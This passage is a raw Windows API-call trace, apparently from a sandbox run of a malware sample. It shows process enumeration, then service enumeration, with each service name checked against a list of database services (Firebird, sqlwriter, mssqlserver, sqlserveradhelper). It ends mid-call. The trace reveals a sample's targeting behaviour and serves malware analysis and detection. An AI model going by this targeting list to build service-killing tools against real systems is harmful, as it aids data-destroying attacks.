[0134.605] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0134.605] lstrlenW (lpString="msoia.exe") returned 9 [0134.605] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0134.606] lstrlenW (lpString="taskhostw.exe") returned 13 [0134.606] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0134.607] lstrlenW (lpString="msoia.exe") returned 9 [0134.607] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0134.608] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0134.608] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0134.608] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0134.608] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0134.609] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0134.609] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0134.610] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0134.610] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0134.611] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0134.611] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0134.611] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0134.611] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0134.612] lstrlenW (lpString="concerned venture.exe") returned 21 [0134.612] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0134.613] lstrlenW (lpString="organizingscsi.exe") returned 18 [0134.613] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0134.613] lstrlenW (lpString="airplane placing.exe") returned 20 [0134.613] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0134.614] lstrlenW (lpString="circus.exe") returned 10 [0134.614] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0134.615] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0134.615] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0134.615] lstrlenW (lpString="das.exe") returned 7 [0134.616] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0134.616] lstrlenW (lpString="beam removable.exe") returned 18 [0134.616] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0134.617] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0134.617] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0134.618] lstrlenW (lpString="dome.exe") returned 8 [0134.618] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0134.619] lstrlenW (lpString="wiresjacket.exe") returned 15 [0134.619] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0134.619] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0134.619] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0134.620] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0134.620] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0134.621] lstrlenW (lpString="tested.exe") returned 10 [0134.621] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0134.622] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0134.622] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0134.623] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0134.623] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0134.624] lstrlenW (lpString="level.exe") returned 9 [0134.624] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0134.625] lstrlenW (lpString="dllhost.exe") returned 11 [0134.625] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.626] lstrlenW (lpString="conhost.exe") returned 11 [0134.626] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.627] lstrlenW (lpString="conhost.exe") returned 11 [0134.627] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.627] lstrlenW (lpString="svchost.exe") returned 11 [0134.627] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0134.628] lstrlenW (lpString="load0.exe") returned 9 [0134.628] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0134.636] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0134.636] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.637] lstrlenW (lpString="conhost.exe") returned 11 [0134.637] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0134.638] lstrlenW (lpString="cmd.exe") returned 7 [0134.638] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.638] lstrlenW (lpString="conhost.exe") returned 11 [0134.638] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.639] lstrlenW (lpString="svchost.exe") returned 11 [0134.639] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0134.640] CloseHandle (hObject=0x10a0) returned 1 [0134.640] Sleep (dwMilliseconds=0x1f4) [0135.165] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3398 [0135.165] EnumServicesStatusExW (in: hSCManager=0x5e3398, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0135.165] GetLastError () returned 0xea [0135.165] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69bb60 [0135.166] EnumServicesStatusExW (in: hSCManager=0x5e3398, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69bb60, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69bb60, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0135.166] CloseServiceHandle (hSCObject=0x5e3398) returned 1 [0135.167] lstrlenW (lpString="Appinfo") returned 7 [0135.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0135.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0135.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0135.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0135.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0135.167] lstrlenW (lpString="AppXSvc") returned 7 [0135.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0135.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0135.167] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0135.167] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0135.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0135.167] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0135.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.167] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0135.167] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0135.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0135.167] lstrlenW (lpString="Audiosrv") returned 8 [0135.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0135.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0135.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0135.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0135.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0135.167] lstrlenW (lpString="BFE") returned 3 [0135.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0135.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0135.167] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0135.167] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0135.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0135.167] lstrlenW (lpString="BITS") returned 4 [0135.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0135.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0135.167] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0135.167] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0135.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0135.167] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0135.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0135.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0135.168] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0135.168] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0135.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0135.168] lstrlenW (lpString="CDPSvc") returned 6 [0135.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0135.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0135.168] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0135.168] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0135.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0135.168] lstrlenW (lpString="ClickToRunSvc") returned 13 [0135.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0135.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0135.168] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0135.168] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0135.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0135.168] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0135.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0135.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0135.168] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0135.168] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0135.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0135.168] lstrlenW (lpString="CryptSvc") returned 8 [0135.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0135.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0135.168] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0135.168] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0135.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0135.168] lstrlenW (lpString="DcomLaunch") returned 10 [0135.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0135.168] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0135.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0135.168] lstrlenW (lpString="DeviceAssociationService") returned 24 [0135.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0135.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0135.169] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0135.169] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0135.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0135.169] lstrlenW (lpString="Dhcp") returned 4 [0135.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0135.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0135.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0135.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0135.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0135.169] lstrlenW (lpString="Dnscache") returned 8 [0135.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0135.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0135.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0135.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0135.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0135.169] lstrlenW (lpString="DoSvc") returned 5 [0135.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0135.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0135.169] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0135.169] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0135.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0135.169] lstrlenW (lpString="DPS") returned 3 [0135.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0135.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0135.169] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0135.169] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0135.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0135.169] lstrlenW (lpString="DusmSvc") returned 7 [0135.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0135.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0135.169] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0135.169] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0135.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0135.169] lstrlenW (lpString="EventLog") returned 8 [0135.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0135.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0135.170] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0135.170] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0135.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0135.170] lstrlenW (lpString="EventSystem") returned 11 [0135.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0135.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0135.170] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0135.170] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0135.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0135.170] lstrlenW (lpString="FontCache") returned 9 [0135.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0135.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0135.170] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0135.170] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0135.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0135.170] lstrlenW (lpString="gpsvc") returned 5 [0135.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0135.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0135.170] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0135.170] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0135.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0135.170] lstrlenW (lpString="iphlpsvc") returned 8 [0135.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0135.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0135.170] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0135.170] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0135.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0135.170] lstrlenW (lpString="KeyIso") returned 6 [0135.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0135.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0135.170] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0135.170] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0135.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0135.170] lstrlenW (lpString="LanmanServer") returned 12 [0135.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0135.170] lstrcmpiW 